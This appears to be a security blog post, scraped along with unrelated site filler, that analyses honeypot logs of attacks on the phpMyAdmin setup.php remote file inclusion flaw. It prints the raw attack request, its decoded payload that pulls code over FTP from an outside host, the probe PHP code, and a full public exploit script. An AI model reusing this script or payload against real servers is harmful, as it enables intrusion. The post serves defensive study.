SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our centralModSecurity AuditConsole logging host today and I noticed
SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our central ModSecurity AuditConsole logging host today and I noticed a spike in traffic from some Russian IPs that were scanning for the PMASA-2010-4 vulnerability in the PhpMyAdmin setup.php script.
Let's look at the raw ModSecurity audit log data of the inbound request:
--4064df0e-A-- [10/Apr/2012:18:05:55 +0000] T4R2gwowybkAAHp9G@sAAAAF 212.24.61.167 38767 XXX.XXX.XXX.XXX 80 --4064df0e-B-- POST /pma/scripts/setup.php HTTP/1.1 Connection: close Host: 176.34.207.219 Referer: 176.34.207.219 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en] Content-Type: application/x-www-form-urlencoded Content-Length: 238 --4064df0e-C-- action=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A55%3A%22ftp%3A%2F%2Fthewinecompany%3AgXNbUEwfLa%4046%2E32%2E228%2E222%2F%2Ea%2Fid%2Etxt%22%3B%7D%7D
If we URL decode the request body data, we get this:
action=lay_navigation&eoltype=unix&token=&configuration=a:1:{i:0;O:10:"PMA_Config":1: {<span><strong>s:6:"source";s:55:"ftp://thewinecompany:gXNbUEwfLa@46.32.228.222/.a/id.txt"</strong></span>;}}
As you can see, the attacker is attempting overwrite the PhpMyAdmin configuration file by instructing it to use FTP to download and run the "id.txt" file on a remote site. The contents of the id.txt file is PHP code:
<?php print(base64_decode("c3Q0cjc=")); echo(php_uname()); print(base64_decode("ZjFuMTVo")); die; ?>
Looking at what this file is doing, it appears to be a simple probe to identify if the target web application is vulnerable to this type of RFI attack. If the application responds with the output from these PHP commands, then the attacker will proceed with other attacks. SpiderLabs Research was able to find the following script in public forums that launch similar attacks:
/* wtf zmeu was here haha,yeah me... found this sh*t bug on pmasux */ $arguments = getopt("a:b:c"); $pma_setup_url = $arguments[a]; //echo $arguments[a]; $ftp_code = 'ftp://devil:devil@85.10.138.51/c.txt'; //$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '') { $return = ''; $feof_count = 0; $parsed_url = parse_url($url); $site = $parsed_url; $path = $parsed_url; $query = $parsed_url; ($method == 'GET' && !empty($data)) ? $path .= '?'.$data : ''; ($method == 'POST' && !empty($query)) ? $path .= '?'.$query : ''; $fp = fsockopen($site, 80, $errno, $errstr, 30); ($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n"; $out .= "Host: $site\r\n"; $out .= "Content-type: application/x-www-form-urlencoded\r\n"; $out .= "Connection: Close\r\n"; $out .= "User-Agent: $ua_string\r\n"; $out .= "Referer: $referer_string\r\n"; $out .= "Cookie: $cookie_string\r\n"; ($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n"; ($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out); while (!feof($fp)) { if($feof_count >=200) break; $return .= fread($fp, 4800); ++$feof_count; } fclose($fp); return $return; } $token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera'); preg_match('@name="token" value="(a-f0-9{32})"@is',$token_page,$token_array); $token = $token_array[1]; preg_match_all('@Set-Cookie: (<span>^\r\n;</span>+)@is',$token_page,$cookie_array); $cookie_array = $cookie_array[1]; $cookie_array = implode("; ",$cookie_array); print send_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');
This issue was patched in the php source code with the following update:
By filtering out non-word characters, it would prevent the attacker from injecting the RFI code.

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

Video Face Swap
使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

SublimeText3 Linux新版
SublimeText3 Linux最新版

VSCode Windows 64位 下载
微软推出的免费、功能强大的一款IDE编辑器

MinGW - 适用于 Windows 的极简 GNU
这个项目正在迁移到osdn.net/projects/mingw的过程中,你可以继续在那里关注我们。MinGW:GNU编译器集合(GCC)的本地Windows移植版本,可自由分发的导入库和用于构建本地Windows应用程序的头文件;包括对MSVC运行时的扩展,以支持C99功能。MinGW的所有软件都可以在64位Windows平台上运行。

Dreamweaver Mac版
视觉化网页开发工具

DVWA
Damn Vulnerable Web App (DVWA) 是一个PHP/MySQL的Web应用程序,非常容易受到攻击。它的主要目标是成为安全专业人员在合法环境中测试自己的技能和工具的辅助工具,帮助Web开发人员更好地理解保护Web应用程序的过程,并帮助教师/学生在课堂环境中教授/学习Web应用程序安全。DVWA的目标是通过简单直接的界面练习一些最常见的Web漏洞,难度各不相同。请注意,该软件中